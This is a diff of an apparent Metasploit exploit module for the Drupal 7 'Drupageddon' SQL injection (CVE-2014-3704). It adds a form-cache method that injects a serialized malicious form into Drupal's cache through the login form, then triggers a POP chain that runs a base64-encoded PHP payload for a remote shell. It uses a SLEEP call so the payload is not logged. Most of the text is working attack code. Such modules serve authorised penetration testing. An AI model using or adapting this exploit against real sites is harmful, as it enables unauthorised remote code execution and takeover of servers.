@@ -16,40 +16,155 @@ def initialize(info={})
16
16
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
17
17
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
18
18
in 7.32).
19
+
20
+ Two methods are available to trigger the PHP payload on the target:
21
+
22
+ - set TARGET 0:
23
+ Form-cache PHP injection method (default).
24
+ This uses the SQLi to upload a malicious form to Drupal's cache,
25
+ then trigger the cache entry to execute the payload using a POP chain.
26
+
27
+ - set TARGET 1:
28
+ User-post injection method.
29
+ This creates a new Drupal user, adds it to the administrators group,
30
+ enable Drupal's PHP module, grant the administrators the right to
31
+ bundle PHP code in their post, create a new post containing the
32
+ payload and preview it to trigger the payload execution.
19
33
} ,
20
34
'License' => MSF_LICENSE ,
21
35
'Author' =>
22
36
[
23
37
'SektionEins' , # discovery
24
- 'Christian Mehlmauer' , # msf module
25
- 'Brandon Perry' # msf module
38
+ 'WhiteWinterWolf' , # form-cache PHP injection method
39
+ 'Christian Mehlmauer' , # user-post PHP injection method
40
+ 'Brandon Perry' # user-post PHP injection method
26
41
] ,
27
42
'References' =>
28
43
[
29
44
[ 'CVE' , '2014-3704' ] ,
30
45
[ 'URL' , 'https://www.drupal.org/SA-CORE-2014-005' ] ,
31
- [ 'URL' , 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html' ]
46
+ [ 'URL' , 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html' ] ,
47
+ [ 'URL' , 'https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/' ]
32
48
] ,
33
49
'Privileged' => false ,
34
50
'Platform' => [ 'php' ] ,
35
51
'Arch' => ARCH_PHP ,
36
- 'Targets' => [ [ 'Drupal 7.0 - 7.31' , { } ] ] ,
52
+ 'Targets' =>
53
+ [
54
+ [ 'Drupal 7.0 - 7.31 (form-cache PHP injection method)' , { } ] ,
55
+ [ 'Drupal 7.0 - 7.31 (user-post PHP injection method)' , { } ]
56
+ ] ,
37
57
'DisclosureDate' => 'Oct 15 2014' ,
38
58
'DefaultTarget' => 0
39
59
) )
40
60
41
61
register_options (
42
- [
43
- OptString . new ( 'TARGETURI' , [ true , "The target URI of the Drupal installation" , '/' ] )
44
- ] )
62
+ [
63
+ OptString . new ( 'TARGETURI' , [ true , "The target URI of the Drupal installation" , '/' ] )
64
+ ] )
45
65
46
66
register_advanced_options (
47
- [
48
- OptString . new ( 'ADMIN_ROLE' , [ true , "The administrator role" , 'administrator' ] ) ,
49
- OptInt . new ( 'ITER' , [ true , "Hash iterations (2^ITER)" , 10 ] )
50
- ] )
67
+ [
68
+ OptInt . new ( 'Wait' , [ true , "Number of seconds to wait before triggering the payload sent (form-cache method only)." , 5 ] ) ,
69
+ OptString . new ( 'ADMIN_ROLE' , [ true , "The administrator role (user-post method only)" , 'administrator' ] ) ,
70
+ OptInt . new ( 'Iter' , [ true , "Hash iterations (2^ITER, user-post method only))" , 10 ] )
71
+ ] )
72
+ end
73
+
74
+ ##
75
+ # Form-cache PHP injection method
76
+ ##
77
+
78
+ def sql_insert ( id , value )
79
+ curlyopen = rand_text_alphanumeric ( 8 )
80
+ curlyclose = rand_text_alphanumeric ( 8 )
81
+ value . gsub! ( '{' , curlyopen )
82
+ value . gsub! ( '}' , curlyclose )
83
+
84
+ "INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
85
+ + "VALUES ('#{ id } ', REPLACE(REPLACE('#{ value } ', '#{ curlyopen } ', " \
86
+ + "CHAR(#{ '{' . ord } )), '#{ curlyclose } ', CHAR(#{ '}' . ord } )), -1, 0, 1);"
87
+ end
88
+
89
+ def exploit_formcache
90
+ form_build_id = 'form-' + rand_text_alphanumeric ( 43 )
91
+
92
+ # Remove the malicious cache entries upon success.
93
+ evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
94
+ + "'form_state_" + form_build_id + "'), 'cache_form');"
95
+ evalstr << payload . encoded
96
+ evalstr = Rex ::Text . encode_base64 ( evalstr )
97
+ # '<?php' tag required by php_eval().
98
+ evalstr = "<?php eval(base64_decode(\\ '#{ evalstr } \\ '));"
99
+ # Don't count the backslashes.
100
+ evalstr_len = evalstr . length - 2
101
+
102
+ # Serialized malicious form state.
103
+ # The PHP module may be disabled (and should be).
104
+ # Load its definition manually to get access to php_eval().
105
+ state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
106
+ state << 'i:0;s:22:"modules/php/php.module";'
107
+ state << '}}}'
108
+ # Initiates a POP chain in includes/form.inc:1850, form_builder()
109
+ form = 'a:6:{'
110
+ form << 's:5:"#type";s:4:"form";'
111
+ form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
112
+ form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
113
+ form << 's:16:"#defaults_loaded";b:1;'
114
+ form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
115
+ form << 's:9:"#children";s:' + evalstr_len . to_s + ':"' + evalstr + '";'
116
+ form << '}'
117
+
118
+ # SQL injection key lines:
119
+ # - modules/user/user.module:2149, user_login_authenticate_validate()
120
+ # - includes/database/database.inc:745, expandArguments()
121
+ sql = sql_insert ( 'form_state_' + form_build_id , state )
122
+ sql << sql_insert ( 'form_' + form_build_id , form )
123
+ # Causes PHP script to timeout, avoiding payload logging.
124
+ sql << 'SELECT SLEEP(666);'
125
+
126
+ # Use the login form to inject the malicious cache entry.
127
+ # '!' follows redirects, used by some Drupal sites to enforce clean URLs.
128
+ # Don't check the return code as it *will* timeout.
129
+ send_request_cgi! ( {
130
+ 'uri' => normalize_uri ( target_uri . path ) ,
131
+ 'method' => 'POST' ,
132
+ 'vars_post' => {
133
+ # Don't use 'user_login_block' as it may be disabled.
134
+ 'form_id' => 'user_login' ,
135
+ 'form_build_id' => '' ,
136
+ "name[0;#{ sql } #]" => '' ,
137
+ # This field must be located *after* the injection.
138
+ "name[0]" => '' ,
139
+ 'op' => 'Log in' ,
140
+ 'pass' => Rex ::Text . rand_text_alpha ( 8 )
141
+ } ,
142
+ 'vars_get' => {
143
+ 'q' => 'user/login'
144
+ }
145
+ } , timeout = datastore [ 'Wait' ] )
146
+
147
+ # Trigger the malicious cache entry using its form ID.
148
+ send_request_cgi! ( {
149
+ 'uri' => normalize_uri ( target_uri . path ) ,
150
+ 'method' => 'POST' ,
151
+ 'vars_post' => {
152
+ 'form_id' => 'user_login' ,
153
+ "form_build_id" => form_build_id ,
154
+ "name" => Rex ::Text . rand_text_alpha ( 10 ) ,
155
+ 'op' => 'Log in' ,
156
+ 'pass' => Rex ::Text . rand_text_alpha ( 10 )
157
+ } ,
158
+ 'vars_get' => {
159
+ 'q' => 'user/login'
160
+ }
161
+ } )
51
162
end
52
163
164
+ ##
165
+ # User-post PHP injection method
166
+ ##
167
+
53
168
def uri_path
54
169
normalize_uri ( target_uri . path )
55
170
end
@@ -59,7 +174,7 @@ def admin_role
59
174
end
60
175
61
176
def iter
62
- datastore [ 'ITER ' ]
177
+ datastore [ 'Iter ' ]
63
178
end
64
179
65
180
def itoa64
@@ -133,7 +248,7 @@ def extract_form_ids(content)
133
248
return form_build_id , form_token
134
249
end
135
250
136
- def exploit
251
+ def exploit_newuser
137
252
138
253
# TODO: Check if option admin_role exists via admin/people/permissions/roles
139
254
@@ -352,4 +467,19 @@ def exploit
352
467
'cookie' => cookie
353
468
)
354
469
end
470
+
471
+ ##
472
+ # Main
473
+ ##
474
+
475
+ def exploit
476
+ case datastore [ 'TARGET' ]
477
+ when 0
478
+ exploit_formcache
479
+ when 1
480
+ exploit_newuser
481
+ else
482
+ fail_with ( Failure ::BadConfig , "Invalid target selected." )
483
+ end
484
+ end
355
485
end
0 commit comments